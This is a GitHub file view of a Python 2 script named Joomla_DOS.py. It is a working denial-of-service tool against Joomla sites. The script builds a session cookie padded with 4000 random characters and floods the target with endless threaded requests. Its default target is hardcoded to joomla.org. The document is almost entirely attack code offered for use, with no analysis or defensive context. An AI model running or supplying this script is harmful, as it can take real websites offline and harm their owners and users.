forked from davexpro/Evi1m0-Tip
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Joomla_DOS.py
69 lines (53 loc) · 1.57 KB
/
Joomla_DOS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding: utf-8 -*-
__author__ = 'Dave'
import re
import requests
import threadpool as tp
import random
Host = 'https://joomla.org'
#Host = sys.argv[1]
THREAD_NUM = 10
#THREAD_NUM = int(sys.argv[2])
HEADER = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0'
}
def randomCharacter():
_RandomChar = random.choice(['0','1','2','3','4','5','6','7','8','9','q','w','e','r','t','y','u','i',
'o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m'])
return _RandomChar
def exploit(args):
_Flag = 0
if Host.startswith('https://'):
_Host = Host
else:
_Host = "https://" + Host
_Req = requests.session().get(_Host)
_WebContent = str(_Req.headers)
_WebTmp = _WebContent.split('; path=/')
_WebTmp = _WebTmp[0]
_WebTmp = _WebTmp.split('\'')
_WebTmp = _WebTmp[len(_WebTmp) - 1]
_WebTmp = _WebTmp.split('=')
_SessionID = _WebTmp[0]
_Session = _WebTmp[1]
for i in range(4000):
_Session += randomCharacter()
_Cookies = {
_SessionID : _Session
}
while True:
_Flag += 1
try:
_Req = requests.get(_Host,cookies=_Cookies,headers=HEADER)
print "[%s] DOSing... " % _Flag
print _Req.content
except:
continue
if __name__ == '__main__':
args = []
for i in range(THREAD_NUM):
args.append(args)
pool = tp.ThreadPool(THREAD_NUM)
reqs = tp.makeRequests(exploit, args)
[pool.putRequest(req) for req in reqs]
pool.wait()